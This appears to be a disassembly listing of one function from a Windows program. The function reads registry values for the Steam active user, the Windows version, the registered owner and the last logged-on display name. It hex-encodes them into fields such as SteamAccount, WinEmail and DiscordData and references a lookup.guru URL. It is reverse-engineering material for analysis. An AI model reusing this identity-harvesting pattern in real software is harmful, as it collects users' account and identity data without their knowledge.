Function at 0x140046610
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xcc0]
sub rsp, 0xdc0
mov rax, qword [0x140221880]
xor rax, rsp
mov qword [rbp + 0xcb0], rax
xor r14d, r14d
mov qword [rbp + 8], rcx
cmp qword [0x140328de8], r14
jne 0x140046674
mov ecx, 0x26b0
call fcn.1401ab860
test rax, rax
je 0x140046674
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140328de8], rax
xor edx, edx
lea rcx, [rbp + 0x38]
call fcn.1400bb910
lea rax, [rbp + 0x48]
mov qword [rbp + 0x30], r14
mov qword [rsp + 0x30], rax
lea r8, str.ActiveUser
lea rax, [rbp + 0x30]
mov dword [rbp + 0x48], pe_nt_image_headers64
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREValveSteamActiveProcess
mov r9d, 0xffff
mov qword [rsp + 0x20], r14
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov rax, qword [rbp + 0x30]
test rax, rax
je 0x1400466dc
movabs rcx, 0x110000100000000
add rax, rcx
mov qword [rbp + 0x30], rax
xor eax, eax
mov dword [rbp + 0x4c], 0x3fc
lea rdi, [rbp + 0x8b0]
mov ecx, 0x3fc
rep stosb byte [rdi], al
lea rax, [rbp + 0x4c]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, str.DisplayVersion
lea rax, [rbp + 0x8b0]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
xor eax, eax
mov dword [rbp + 0x50], 0x3fc
mov ecx, 0x3fc
lea rdi, [rbp + 0x4b0]
rep stosb byte [rdi], al
lea rax, [rbp + 0x50]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, str.RegisteredOwner
lea rax, [rbp + 0x4b0]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
xor edx, edx
lea rcx, [rbp + 0xb0]
mov r8d, 0x3fc
call fcn.1401d1c40
xor eax, eax
mov dword [rbp + 0x54], 0x3fc
mov ecx, 0x3fc
lea rdi, [rbp + 0xb0]
rep stosb byte [rdi], al
lea rax, [rbp + 0x54]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, str.LastLoggedOnDisplayName
lea rax, [rbp + 0xb0]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionAuthenticationLogonUI
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov rdi, qword [rbp + 0x30]
lea rcx, [rsp + 0x70]
xor eax, eax
mov byte [rsp + 0x68], r14b
xor edx, edx
mov qword [rsp + 0x70], rax
call fcn.1400bb410
xorps xmm0, xmm0
lea rdx, str.SteamAccount
xorps xmm1, xmm1
lea rcx, [rbp - 0x78]
mov r8d, recv
movups xmmword [rbp - 0x78], xmm0
movdqu xmmword [rbp - 0x68], xmm1
call fcn.14003ce50
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x38]
call fcn.1400b5ac0
mov rcx, rax
movzx edx, byte [rax]
mov byte [rax], 6
mov rax, qword [rax + 8]
mov qword [rcx + 8], rdi
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x70], rax
call fcn.1400bb410
xorps xmm0, xmm0
lea rax, [rbp + 0x4b0]
xorps xmm1, xmm1
movups xmmword [rbp - 0x58], xmm0
movdqu xmmword [rbp - 0x48], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x140046875
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x58]
call fcn.14003ce50
mov rdi, qword [rbp - 0x48]
mov r8d, reloc.WS2_32.dll_ntohs
mov rcx, r14
mov qword [rsp + 0x60], r8
xorps xmm0, xmm0
mov qword [rsp + 0x58], rcx
movups xmmword [rsp + 0x48], xmm0
lea rdx, [rdi + rdi]
mov byte [rsp + 0x48], cl
cmp rdx, r8
jbe 0x1400468d1
lea rcx, [rsp + 0x48]
call fcn.1400fe470
mov r8, qword [rsp + 0x60]
mov rcx, r14
mov qword [rsp + 0x58], rcx
mov r15, qword [rbp - 0x58]
lea r12, [rbp - 0x58]
mov r13, qword [rbp - 0x40]
lea rsi, [rbp - 0x58]
cmp r13, 0xf
mov qword [rsp + 0xdf8], rbx
cmova r12, r15
cmova rsi, r15
add r12, rdi
cmp rsi, r12
je 0x1400469d7
movzx ebx, byte [rsp + 0x40]
lea r13, str.0123456789abcdef
movzx edi, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movzx r14d, byte [rsi]
mov eax, r14d
shr rax, 4
movzx r9d, byte [rax + r13]
cmp rcx, r8
jae 0x140046958
lea rax, [rcx + 1]
cmp r8, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004696b
movzx r8d, bl
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
mov rcx, qword [rsp + 0x58]
and r14d, 0xf
mov rdx, qword [rsp + 0x60]
movzx r9d, byte [r14 + r13]
cmp rcx, rdx
jae 0x1400469a6
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400469b9
movzx r8d, dil
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
inc rsi
cmp rsi, r12
je 0x1400469d0
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
jmp 0x140046920
mov r13, qword [rbp - 0x40]
xor r14d, r14d
cmp r13, 0xf
jbe 0x140046a0e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140046a06
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476ac
mov rcx, r15
call fcn.140190a2c
xor eax, eax
mov byte [rsp + 0x68], 0
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.1400bb410
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140190b18
movups xmm0, xmmword [rsp + 0x48]
mov r8d, 8
lea rdx, str.WinEmail
movups xmm1, xmmword [rsp + 0x58]
lea rcx, [rbp - 0x78]
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
xorps xmm1, xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm1
movups xmmword [rbp - 0x78], xmm0
call fcn.14003ce50
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x38]
call fcn.1400b5ac0
mov rcx, rax
movzx edx, byte [rax]
mov byte [rax], 3
mov rax, qword [rax + 8]
mov qword [rcx + 8], rdi
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x70], rax
call fcn.1400bb410
xorps xmm0, xmm0
lea rax, [rbp + 0x8b0]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x38], xmm0
movdqu xmmword [rbp - 0x28], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140046ac0
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp - 0x38]
call fcn.14003ce50
mov rdi, qword [rbp - 0x28]
mov r8d, reloc.WS2_32.dll_ntohs
xorps xmm0, xmm0
mov qword [rsp + 0x60], r8
mov rcx, r14
movups xmmword [rsp + 0x48], xmm0
lea rdx, [rdi + rdi]
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x48], 0
cmp rdx, r8
jbe 0x140046b1e
lea rcx, [rsp + 0x48]
call fcn.1400fe470
mov r8, qword [rsp + 0x60]
mov rcx, r14
mov qword [rsp + 0x58], rcx
mov r15, qword [rbp - 0x38]
lea r12, [rbp - 0x38]
mov r13, qword [rbp - 0x20]
lea rsi, [rbp - 0x38]
cmp r13, 0xf
cmova r12, r15
cmova rsi, r15
add r12, rdi
cmp rsi, r12
je 0x140046c17
movzx ebx, byte [rsp + 0x40]
lea r13, str.0123456789abcdef
movzx edi, byte [rsp + 0x40]
nop word [rax + rax]
movzx r14d, byte [rsi]
mov eax, r14d
shr rax, 4
movzx r9d, byte [rax + r13]
cmp rcx, r8
jae 0x140046b98
lea rax, [rcx + 1]
cmp r8, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140046bab
movzx r8d, bl
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
mov rcx, qword [rsp + 0x58]
and r14d, 0xf
mov rdx, qword [rsp + 0x60]
movzx r9d, byte [r14 + r13]
cmp rcx, rdx
jae 0x140046be6
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140046bf9
movzx r8d, dil
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
inc rsi
cmp rsi, r12
je 0x140046c10
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
jmp 0x140046b60
mov r13, qword [rbp - 0x20]
xor r14d, r14d
cmp r13, 0xf
jbe 0x140046c4e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140046c46
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476ac
mov rcx, r15
call fcn.140190a2c
xor eax, eax
mov byte [rsp + 0x68], 0
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.1400bb410
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140190b18
movups xmm0, xmmword [rsp + 0x48]
mov r8d, 0xa
lea rdx, str.WinVersion
movups xmm1, xmmword [rsp + 0x58]
lea rcx, [rbp - 0x78]
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
xorps xmm1, xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm1
movups xmmword [rbp - 0x78], xmm0
call fcn.14003ce50
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x38]
call fcn.1400b5ac0
mov rcx, rax
movzx edx, byte [rax]
mov byte [rax], 3
mov rax, qword [rax + 8]
mov qword [rcx + 8], rdi
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x70], rax
call fcn.1400bb410
xorps xmm0, xmm0
lea rax, [rbp + 0xb0]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rbp - 0x18], xmm0
movdqu xmmword [rbp - 8], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140046d00
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x18]
call fcn.14003ce50
mov rdi, qword [rbp - 8]
mov r8d, reloc.WS2_32.dll_ntohs
xorps xmm0, xmm0
mov qword [rsp + 0x60], r8
mov rcx, r14
movups xmmword [rsp + 0x48], xmm0
lea rdx, [rdi + rdi]
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x48], 0
cmp rdx, r8
jbe 0x140046d5e
lea rcx, [rsp + 0x48]
call fcn.1400fe470
mov r8, qword [rsp + 0x60]
mov rcx, r14
mov qword [rsp + 0x58], rcx
mov r15, qword [rbp - 0x18]
lea r12, [rbp - 0x18]
mov r13, qword [rbp]
lea rsi, [rbp - 0x18]
cmp r13, 0xf
cmova r12, r15
cmova rsi, r15
add r12, rdi
cmp rsi, r12
je 0x140046e57
movzx ebx, byte [rsp + 0x40]
lea r13, str.0123456789abcdef
movzx edi, byte [rsp + 0x40]
nop word [rax + rax]
movzx r14d, byte [rsi]
mov eax, r14d
shr rax, 4
movzx r9d, byte [rax + r13]
cmp rcx, r8
jae 0x140046dd8
lea rax, [rcx + 1]
cmp r8, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140046deb
movzx r8d, bl
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
mov rcx, qword [rsp + 0x58]
and r14d, 0xf
mov rdx, qword [rsp + 0x60]
movzx r9d, byte [r14 + r13]
cmp rcx, rdx
jae 0x140046e26
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140046e39
movzx r8d, dil
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
inc rsi
cmp rsi, r12
je 0x140046e50
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
jmp 0x140046da0
mov r13, qword [rbp]
xor r14d, r14d
cmp r13, 0xf
jbe 0x140046e8e
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140046e86
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476ac
mov rcx, r15
call fcn.140190a2c
xor eax, eax
mov byte [rsp + 0x68], 0
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.1400bb410
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140190b18
movups xmm0, xmmword [rsp + 0x48]
mov r8d, recv
lea rdx, str.DisplayName
movups xmm1, xmmword [rsp + 0x58]
lea rcx, [rbp - 0x78]
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
xorps xmm1, xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm1
movups xmmword [rbp - 0x78], xmm0
call fcn.14003ce50
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x38]
call fcn.1400b5ac0
mov rcx, rax
movzx edx, byte [rax]
mov byte [rax], 3
mov rax, qword [rax + 8]
mov qword [rcx + 8], rdi
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x70], rax
call fcn.1400bb410
xorps xmm0, xmm0
lea rcx, [rbp + 0x58]
xor eax, eax
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rax
call fcn.140045970
mov rsi, qword [rbp + 0x60]
mov rdi, qword [rbp + 0x58]
mov rax, rsi
sub rax, rdi
sar rax, 6
test rax, rax
je 0x1400474e7
movdqa xmm1, xmmword [0x140204db0]
xor bl, bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x70], bl
movdqu xmmword [rbp + 0x80], xmm1
cmp rdi, rsi
je 0x14004728b
add rdi, 0x38
lea r12, [0x1401feb54]
movabs r15, 0x7fffffffffffffff
nop word [rax + rax]
test bl, bl
mov qword [rbp + 0xa0], r14
lea rdx, [0x1401fe8ec]
mov qword [rbp + 0xa8], r14
xorps xmm0, xmm0
cmovne rdx, r12
movups xmmword [rbp + 0x90], xmm0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140046fc0
lea rcx, [rbp + 0x90]
call fcn.14003ce50
mov rdx, qword [rbp + 0xa0]
mov rax, r15
mov rcx, qword [rdi - 0x28]
sub rax, rdx
cmp rax, rcx
jb 0x1400476b8
cmp qword [rbp + 0xa8], 0xf
lea r9, [rbp + 0x90]
lea rax, [rdi - 0x38]
cmova r9, qword [rbp + 0x90]
cmp qword [rdi - 0x20], 0xf
jbe 0x140047015
mov rax, qword [rax]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
call fcn.140101a10
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.__https:__lookup.guru_
lea rcx, [rbp + 0x10]
call fcn.1400b85d0
mov qword [rsp + 0x78], r14
lea rdx, [rdi - 0x18]
mov qword [rbp - 0x80], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
cmp qword [rdi], 0xf
jbe 0x140047081
mov rdx, qword [rdx]
mov r8, qword [rdi - 8]
lea rcx, [rsp + 0x68]
call fcn.1400b85d0
mov qword [rsp + 0x58], r14
lea rdx, reloc.WLDAP32.dll_Ordinal_41
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x48]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x48], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r14
mov byte [rax], 0
call fcn.1400b85d0
lea rdx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm0
movq rcx, xmm0
movq r8, xmm1
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movdqa xmm0, xmm1
psrldq xmm0, 8
mov byte [rax], 0
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
lea rcx, [rbp + 0x70]
call fcn.1400b85d0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004715e
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047159
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476b2
call fcn.140190a2c
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14004719b
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047196
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476b2
call fcn.140190a2c
mov rdx, qword [rbp - 0x80]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
cmp rdx, 0xf
jbe 0x1400471ea
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400471e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476b2
call fcn.140190a2c
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x140047237
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047232
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476b2
call fcn.140190a2c
mov rdx, qword [rbp + 0xa8]
mov bl, 1
cmp rdx, 0xf
jbe 0x14004727a
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047275
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476be
call fcn.140190a2c
add rdi, 0x40
lea rax, [rdi - 0x38]
cmp rax, rsi
jne 0x140046f90
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x78]
call fcn.140040c90
mov r8d, reloc.WS2_32.dll_ntohs
mov r15, rax
xorps xmm0, xmm0
mov qword [rsp + 0x60], r8
mov rcx, r14
mov rax, qword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x48], 0
lea rdx, [rax + rax]
cmp rdx, r8
jbe 0x1400472e3
lea rcx, [rsp + 0x48]
call fcn.1400fe470
mov rax, qword [r15 + 0x10]
mov rcx, r14
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x58], rcx
cmp qword [r15 + 0x18], 0xf
jbe 0x1400472f5
mov rsi, qword [r15]
mov rdx, rsi
mov rdi, rsi
jmp 0x1400472fe
mov rsi, r15
mov rdx, r15
mov rdi, r15
lea r12, [rdx + rax]
cmp rdi, r12
je 0x1400473d3
movzx ebx, byte [rsp + 0x40]
lea r13, str.0123456789abcdef
movzx edi, byte [rsp + 0x40]
nop dword [rax]
movzx r14d, byte [rsi]
mov eax, r14d
shr rax, 4
movzx r9d, byte [rax + r13]
cmp rcx, r8
jae 0x140047358
lea rax, [rcx + 1]
cmp r8, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004736b
movzx r8d, bl
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
mov rcx, qword [rsp + 0x58]
and r14d, 0xf
mov rdx, qword [rsp + 0x60]
movzx r9d, byte [r14 + r13]
cmp rcx, rdx
jae 0x1400473a6
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400473b9
movzx r8d, dil
lea rcx, [rsp + 0x48]
mov edx, 1
call fcn.1400fe5c0
inc rsi
cmp rsi, r12
je 0x1400473d0
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
jmp 0x140047320
xor r14d, r14d
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14004740d
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140047408
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400476c4
mov rcx, rdi
call fcn.140190a2c
xor eax, eax
mov qword [r15 + 0x10], r14
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r15], 0
mov byte [rsp + 0x68], 0
call fcn.1400bb410
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140190b18
movups xmm0, xmmword [rsp + 0x48]
mov r8d, recv
lea rdx, str.DiscordData
movups xmm1, xmmword [rsp + 0x58]
lea rcx, [rbp + 0x10]
mov rdi, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
xorps xmm1, xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x10], xmm0
call fcn.14003ce50
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x38]
call fcn.1400b5ac0
mov rcx, rax
movzx edx, byte [rax]
mov byte [rax], 3
mov rax, qword [rax + 8]
mov qword [rcx + 8], rdi
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x70], rax
call fcn.1400bb410
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400474e7
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400474e2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476be
call fcn.140190a2c
mov r12, qword [rbp + 8]
lea rcx, [rbp + 0x38]
mov rdx, r12
call fcn.1400b5d60
mov r14, qword [0x140328de8]
xor r13d, r13d
mov ebx, r13d
mov rax, qword [r14 + 8]
mov rsi, qword [r14]
lea rcx, [rax + rax*2]
lea r15, [rcx*8 + 0x10]
test rsi, rsi
jle 0x1400475e5
lea rdi, [r14 + 0x10]
nop dword [rax]
nop dword [rax + rax]
movups xmm1, xmmword [rdi]
movsd xmm0, qword [rdi + 0x10]
movq rax, xmm1
movsd qword [rsp + 0x78], xmm0
test rax, rax
je 0x1400475d3
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400475d3
movzx ecx, byte [rsp + 0x78]
test cl, cl
jne 0x140047570
xor edx, edx
mov rcx, rax
call fcn.1401d1c40
jmp 0x1400475d3
cmp cl, 1
jne 0x1400475d3
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140040c90
cmp qword [rbp + 0x88], 0xf
lea rax, [rbp + 0x70]
cmova rax, qword [rbp + 0x70]
mov byte [rax], r13b
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400475d3
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400475ce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476ac
call fcn.140190a2c
inc ebx
add rdi, 0x18
movsxd rax, ebx
cmp rax, rsi
jl 0x140047530
mov r8, r15
xor edx, edx
mov rcx, r14
call fcn.1401d1c40
mov rcx, r14
call fcn.1401a6090
mov rdi, qword [rbp + 0x58]
mov qword [0x140328de8], r13
test rdi, rdi
je 0x140047668
mov rbx, qword [rbp + 0x60]
cmp rdi, rbx
je 0x140047628
mov rcx, rdi
call fcn.140044df0
add rdi, 0x40
cmp rdi, rbx
jne 0x140047613
mov rdi, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x68]
mov rax, rdi
sub rdx, rdi
and rdx, 0xffffffffffffffc0
cmp rdx, 0x1000
jb 0x140047654
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400476ac
mov rcx, rdi
call fcn.140190a2c
xorps xmm0, xmm0
mov qword [rbp + 0x68], r13
movdqu xmmword [rbp + 0x58], xmm0
movzx edx, byte [rbp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.1400bb410
mov rbx, qword [rsp + 0xdf8]
mov rax, r12
mov rcx, qword [rbp + 0xcb0]
xor rcx, rsp
call fcn.140190770
lea r11, [rsp + 0xdc0]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401ac538
int3
call fcn.1401ac538
int3
call fcn.14003b930
int3
call fcn.1401ac538
int3
call fcn.1401ac538
int3